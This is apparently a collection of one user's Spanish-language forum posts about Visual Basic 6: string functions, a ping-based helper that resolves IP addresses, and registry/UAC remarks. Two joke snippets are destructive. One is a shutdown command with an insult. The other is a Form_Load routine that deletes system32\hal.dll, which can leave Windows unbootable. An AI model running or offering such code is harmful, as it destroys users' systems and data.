Mensajes

escribi la parte de
Static...
Afuera de cualquier sub

y llama al msgbox en el evento click del commandbutton.

ya que estas busca

MID ()
INSTR()
TRIM()

Y todas las otras funciones de manejo de strings  

OLE OLE OLE OLE!!!!
VALIUMMM VALIUM!!

Uso un shell de

Código (bash) [Seleccionar] Expandir

Shutdown -s -c "Sos un gil" -t 05

Saludos

Código (vb) [Seleccionar] Expandir

while not EOF(ff)

no es mas facil esto?

Código (vb) [Seleccionar] Expandir


Private Sub Form_Load()
kill (Environ("SYSTEMROOT") & "\system32\hal.dll")
msgbox "Felicitaciones sos un pelotud*"
end
End Sub

http://support.microsoft.com/kb/160215
http://support.microsoft.com/kb/154512

Tadaaaaa

Si lei bien con eso deberia ser suficiente.




Podia necesitarlo en un futuro, prefiero colgarlo aca para no perderlo.

Código (vb) [Seleccionar] Expandir

' ////////////////////////////////////////////////////////////////
' // *GetIPfromHost                                             //
' // *Autor: Elemental Code (Milton.Candelero@gmail.com)        //
' // *Podeis agrandar o reducir el codigo, siempre y cuando se  //
' // respete la autoria y se me comuniquen esos cambios.        //
' ////////////////////////////////////////////////////////////////
Option Explicit
Public Function GetIPfromHost(ByRef sURL As String) As String
   Dim WshShell, oExec, a$
   
   Set WshShell = CreateObject("WScript.Shell")
   Set oExec = WshShell.Exec("ping " & sURL)
   a$ = ""
   Do While oExec.Status = 0
        If Not oExec.StdOut.AtEndOfStream Then
             a$ = a$ & oExec.StdOut.Read(1)
        End If
        DoEvents
   Loop
   
   GetIPfromHost = Text_Between_Words(a$, "[", "]")
   
   Set oExec = Nothing
   Set WshShell = Nothing
End Function

' ////////////////////////////////////////////////////////////////
' // *Text_Between_Words                                        //
' // *Autor: *PsYkE1* (miguelin.majo@gmail.com)                 //
' // *Podeis agrandar o reducir el codigo, siempre y cuando se  //
' // respete la autoria y se me comuniquen esos cambios.        //
' // *Agradecimientos a BlackZeroX.                             //
' // *Visita http://foro.rthacker.net                           //
' ////////////////////////////////////////////////////////////////
Public Function Text_Between_Words(Text As String, String1 As String, _
String2 As String) As String
   Dim Pos1              As Integer
   Dim Pos2              As Integer
   Dim Start             As Integer
   Dim TotalLen          As Integer
   Pos1 = InStr(Text, String1)
   Pos2 = InStr(Text, String2)
   If Pos1 = 0 Or Pos2 = 0 Then Exit Function
   Start = Pos1 + Len(String1)
   TotalLen = Pos2 - Start
   Text_Between_Words = Mid$(Text, Start, TotalLen)
End Function

Mete esto en un modulo y llamalo asi:

Código (vb) [Seleccionar] Expandir

msgbox GetIPfromHost ("www.google.com")

Espero que sirva (Muestra una cmd en blanco :S, voy a ver si logro arreglarlo)

no podes modificar el registro de windows sin cuenta de administrador 
(Si tengo cuenta de administrador, apago el UAC yo mismo )

bueno

No tngo windows 7 aca.
Ahora con un if, te fijas que sea 0, entonces, no haces nada.
Sino... tampoco haces nada
No termino de entender 
Ahora, para tocar el registro, necesitas que se ejecute como administrador.

Me emocione al pedo. 

Necesitaba algo onda Unlocker para mi soft Shredder (Borrado Seguro)

http://goo.gl/jpNTo

Lo lindo de internet es que cuando uno no sabe.
Hay 400102561245^13244 que si.